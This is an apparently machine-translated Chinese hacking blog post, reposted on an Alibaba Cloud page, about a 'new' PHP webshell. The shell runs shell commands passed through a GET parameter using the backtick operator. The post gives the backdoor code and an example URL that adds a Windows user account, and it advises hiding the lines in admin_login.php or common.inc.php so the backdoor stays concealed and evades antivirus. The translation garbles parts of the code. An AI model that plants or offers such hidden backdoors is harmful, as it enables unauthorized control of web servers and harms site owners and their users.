Revealing a new webshell Method for PHP

Source: Internet
Author: User

Reprint the wooden JJ without the name of the author.

Author: Monkey blog: www.sbmonkey.com

There are roughly several operators in php.

The functions of operators are divided:
I. Arithmetic Operators (+-*/% + + --)
2. String operators. They can be called connection operators.
Iii. assignment operator = + =-= * =/= % =. =
4. comparison operator ><======<>! =! =
5. logical operators & and | or! Or not
6. bitwise operators & | ^ ~ <> <
7. Other operators? : ''@ =>->::& $

 

In PHP, ''is named as a system operator.

The string contained in ''can be executed as a system command, which is simple ..

In order to escape the soft detection and removal .... A new PHP backdoor came out.

<? Php

$ Houzi = $ _ GET ['monkey'];

Echo '$ houzi ';

?>

Http://www.sbmonkey.com/1.php? Monkey = net user monkey/add

 

Obviously, the content of the monkey variable is net user monkey/add. Only the value of the monkey variable is required for the command to be executed.

We don't have to be so constrained. We can put it in any file.

For example, admin_login.asp

Add these two sentences in the middle to enhance the concealment effect.

$ Houzi = $ _ GET ['monkey'];

Echo '$ houzi ';

Run:

Http://www.bkjia.com/admin/admin_login.php? Monkey = net user monkey/add

 

In the past, some people liked to put backdoors in common. inc. php. In this way, all files in the require file can be used as backdoors.

In this case

We can use it in common. inc. php.

$ GLOBALS ['monkey'] = "net user monkey/add"

To declare a super global variable, and then insert echo '$ houzi' into other files we want to insert ';

This is convenient, and the effect is good without killing.

Defense with caution

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.